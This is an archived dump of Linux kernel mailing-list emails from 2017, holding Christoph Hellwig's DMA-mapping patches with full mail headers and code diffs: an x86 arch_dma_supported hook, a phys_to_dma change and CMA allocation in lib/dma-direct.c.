List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21901 gmane.linux.ports.mips.general:62944 gmane.linux.ports.ia64:28411 gmane.linux.ports.sh.devel:56057 gmane.linux.ports.sparc:27064 gmane.linux.kernel.cross-arch:40804 gmane.linux.ports.hexagon:1421 gmane.linux.kernel.arc:3189 gmane.linux.kernel.metag:1495 gmane.linux.ports.arm.kernel:622914 gmane.linux.ports.parisc:28086 gmane.linux.kernel:2654231 gmane.linux.ports.alpha:4568 gmane.linux.ports.ppc64.devel:151518
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21901>

To implement the x86 forbid_dac and iommu_sac_force we want an arch hook
so that it can apply the global options across all dma_map_ops
implementations.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/x86/include/asm/dma-mapping.h |  3 +++
 arch/x86/kernel/pci-dma.c          | 19 ++++++++++++-------
 include/linux/dma-mapping.h        | 11 +++++++++++
 3 files changed, 26 insertions(+), 7 deletions(-)

diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index dfdc9357a349..6277c83c0eb1 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -30,6 +30,9 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
+int arch_dma_supported(struct device *dev, u64 mask);
+#define arch_dma_supported arch_dma_supported
+
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define arch_dma_alloc_attrs arch_dma_alloc_attrs
 
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 61a8f1cb3829..df7ab02f959f 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -215,7 +215,7 @@ static __init int iommu_setup(char *p)
 }
 early_param("iommu", iommu_setup);
 
-int x86_dma_supported(struct device *dev, u64 mask)
+int arch_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PCI
 	if (mask > 0xffffffff && forbid_dac > 0) {
@@ -224,12 +224,6 @@ int x86_dma_supported(struct device *dev, u64 mask)
 	}
 #endif
 
-	/* Copied from i386. Doesn't make much sense, because it will
-	   only work for pci_alloc_coherent.
-	   The caller just has to use GFP_DMA in this case. */
-	if (mask < DMA_BIT_MASK(24))
-		return 0;
-
 	/* Tell the device to use SAC when IOMMU force is on.  This
 	   allows the driver to use cheaper accesses in some cases.
 
@@ -249,6 +243,17 @@ int x86_dma_supported(struct device *dev, u64 mask)
 
 	return 1;
 }
+EXPORT_SYMBOL(arch_dma_supported);
+
+int x86_dma_supported(struct device *dev, u64 mask)
+{
+	/* Copied from i386. Doesn't make much sense, because it will
+	   only work for pci_alloc_coherent.
+	   The caller just has to use GFP_DMA in this case. */
+	if (mask < DMA_BIT_MASK(24))
+		return 0;
+	return 1;
+}
 
 static int __init pci_iommu_init(void)
 {
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index fd5197af882a..72568bf4fc12 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -583,6 +583,14 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
 	return 0;
 }
 
+/*
+ * This is a hack for the legacy x86 forbid_dac and iommu_sac_force. Please
+ * don't use this is new code.
+ */
+#ifndef arch_dma_supported
+#define arch_dma_supported(dev, mask)	(1)
+#endif
+
 static inline void dma_check_mask(struct device *dev, u64 mask)
 {
 	if (sme_active() && (mask < (((u64)sme_get_me_mask() << 1) - 1)))
@@ -595,6 +603,9 @@ static inline int dma_supported(struct device *dev, u64 mask)
 
 	if (!ops)
 		return 0;
+	if (!arch_dma_supported(dev, mask))
+		return 0;
+
 	if (!ops->dma_supported)
 		return 1;
 	return ops->dma_supported(dev, mask);
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 26/67] dma-direct: use phys_to_dma
Date: Fri, 29 Dec 2017 09:18:30 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20171229081911.2802-27-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535573 4857 195.159.176.226 (29 Dec 2017 08:19:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:33 +0000 (UTC)
Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
        linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Dec 29 09:19:27 2017
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eUpss-0000SH-6u
	for glkm-linux-metag@m.gmane.org; Fri, 29 Dec 2017 09:19:18 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1756012AbdL2IVU (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:20 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:37039 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756003AbdL2IVR (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 29 Dec 2017 03:21:17 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=c1Lve9tF292QoAjKCLNTRmfXQiEp+LA/CtMP463KaPo=; b=AeWDIKUqSF48Ji2b+amnyx3co
        5gP9WfaaBa7ym1ZxVDR2F8MDOZgAHRz4wIwv+nE0jLGayMVBFxtp87F/eD7rc17bwV3ltU+N8yX6d
        kK7lQ26iimpdcZ+1sgXNu2n6ZiAzpNS+sCvtks31EK0CKVPb7U6I5h2q3oJQuZyIc1ZAGt5rVF4Ex
        AcyYVTgtI+HMNDo275K10iGWCMTaI9T3IERq8rYVgrKFqdy41g6Dj48XZnD5VJkGivVbAiW8jQALC
        lno+MrpRlqKddqlO+7N/akMxEnlquZab0H6zaCcYf9dYz6nDN6wzk7QqECbXD9/u0uZTi4trmBXhO
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpui-0001xp-Rl; Fri, 29 Dec 2017 08:21:13 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1496 gmane.linux.kernel.iommu:21902 gmane.linux.ports.alpha:4569 gmane.linux.kernel.arc:3190 gmane.linux.ports.arm.kernel:622915 gmane.linux.ports.hexagon:1422 gmane.linux.ports.ia64:28412 gmane.linux.ports.mips.general:62945 gmane.linux.ports.parisc:28087 gmane.linux.ports.ppc64.devel:151519 gmane.linux.ports.sh.devel:56058 gmane.linux.ports.sparc:27065 gmane.linux.kernel.cross-arch:40805 gmane.linux.kernel:2654232
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1496>

This means it uses whatever linear remapping scheme that the architecture
provides is used in the generic dma_direct ops.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 lib/dma-direct.c | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 439db40854b7..0e087650e86b 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -1,12 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
- *	lib/dma-noop.c
- *
- * DMA operations that map to physical addresses without flushing memory.
+ * DMA operations that map physical memory directly without using an IOMMU or
+ * flushing caches.
  */
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
@@ -17,7 +16,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 
 	ret = (void *)__get_free_pages(gfp, get_order(size));
 	if (ret)
-		*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
+		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
 
 	return ret;
 }
@@ -32,7 +31,7 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
+	return phys_to_dma(dev, page_to_phys(page)) + offset;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -42,12 +41,9 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct scatterlist *sg;
 
 	for_each_sg(sgl, sg, nents, i) {
-		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
-		void *va;
-
 		BUG_ON(!sg_page(sg));
-		va = sg_virt(sg);
-		sg_dma_address(sg) = (dma_addr_t)virt_to_phys(va) - offset;
+
+		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
 		sg_dma_len(sg) = sg->length;
 	}
 
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 28/67] dma-direct: add support for CMA allocation
Date: Fri, 29 Dec 2017 09:18:32 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20171229081911.2802-29-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535578 5651 195.159.176.226 (29 Dec 2017 08:19:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:38 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:19:32 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpt4-0000SH-QV
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:19:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756052AbdL2IVc (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:32 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:58082 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755233AbdL2IV2 (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:21:28 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=xnir3GBAtuwm/PnL+ZaPbcM0OOaHpdMqotQaPoRiPeo=; b=tsoRqp814xoAC9sLAHNxb6Mz4
        C8uJq+mrhd+h0bKGoyji1CY6bvWMM2sGhIR+NxH6C1pj2PfzoVrIsmpDkTMkhAZBgNRMGHAAG1QMx
        +71WJcT3R29QfCMYDR44J9GJsY8JFxBNvfzbgDuLi44Zvk/bIlRHLPAGvplebOMRhMMlPUlhm5lkv
        pZGmS+mM9Yz/D9ZeYVVJ8x5iAXpTntKijfjeXJperYsEN8fdtJHAnHtiQRUZqwx98j2y8zuVKu2yl
        z+YhKtaYYgQr98ZyHQO8NP3ONfZmw3kFATnIV1EKkDuQ6kRvYOstXqI589jQzt3qEJHqeqyOcfyak
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpur-0002CS-5W; Fri, 29 Dec 2017 08:21:21 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56059 gmane.linux.kernel.iommu:21903 gmane.linux.ports.alpha:4570 gmane.linux.kernel.arc:3191 gmane.linux.ports.arm.kernel:622916 gmane.linux.ports.hexagon:1423 gmane.linux.ports.ia64:28413 gmane.linux.kernel.metag:1497 gmane.linux.ports.mips.general:62946 gmane.linux.ports.parisc:28088 gmane.linux.ports.ppc64.devel:151520 gmane.linux.ports.sparc:27066 gmane.linux.kernel.cross-arch:40806 gmane.linux.kernel:2654233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56059>

Try the CMA allocator for coherent allocations if supported.

Roughly modelled after the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 24 ++++++++++++++++++------
 1 file changed, 18 insertions(+), 6 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index ddd9dcf4e663..d0266b39788b 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -7,6 +7,7 @@
 #include <linux/mm.h>
 #include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-contiguous.h>
 #include <linux/pfn.h>
 
 #define DIRECT_MAPPING_ERROR		0
@@ -30,19 +31,30 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	void *ret;
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+	int page_order = get_order(size);
+	struct page *page = NULL;
 
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-	if (ret)
-		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
+	/* CMA can be used only in the context which permits sleeping */
+	if (gfpflags_allow_blocking(gfp))
+		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+	if (!page)
+		page = alloc_pages(gfp, page_order);
+	if (!page)
+		return NULL;
 
-	return ret;
+	*dma_handle = phys_to_dma(dev, page_to_phys(page));
+	memset(page_address(page), 0, size);
+	return page_address(page);
 }
 
 static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
-	free_pages((unsigned long)cpu_addr, get_order(size));
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+
+	if (!dma_release_from_contiguous(dev, virt_to_page(cpu_addr), count))
+		free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
 static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 25/67] dma-direct: rename dma_noop to dma_direct
Date: Fri, 29 Dec 2017 09:18:29 +0100
Lines: 266
Approved: news@gmane.org
Message-ID: <20171229081911.2802-26-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535585 7342 195.159.176.226 (29 Dec 2017 08:19:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:45 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:39 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpt0-0000xo-JK
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:19:27 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DDE8ABBF;
	Fri, 29 Dec 2017 08:21:13 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B539DACC
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:12 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id C52911DAA7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:11 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=DHGJJSw/acttBauGb4jSlhDiF/XOuH3SCWat7Ast2xc=;
	b=sMb7yAHBqCLSJEy63wYGS1wS+
	V1rokn8KMvVQIrs2yUGWi8ojWcjxf8Y9Xf9bggCOZW/zEZChGojWN08GPgG8sm4a/otfelnX9mCt+
	f+Lg+4HLeU7p/Xid2bUQZarQY9Np1SBTpaMuZ7XXdvwfKtn1QHFQyE07iNhDKYmrzEoFVPz6TnxjN
	ED32sGAdtqbpULeLuu3uTu2+I743vg8bFQelOBDvuYlCzVkTCZg7mAaRVrLjcmbhATuHBIBK4I2DN
	s9tOnizpFRLAKTt/PUBNyuIuuMtKMG0yosOib8Yw4miR1V2PUmo4EKwDwxtIgdqvlmr/hTfDxHIsL
	ySc8LyRRw==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpue-0001ny-Ii; Fri, 29 Dec 2017 08:21:09 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
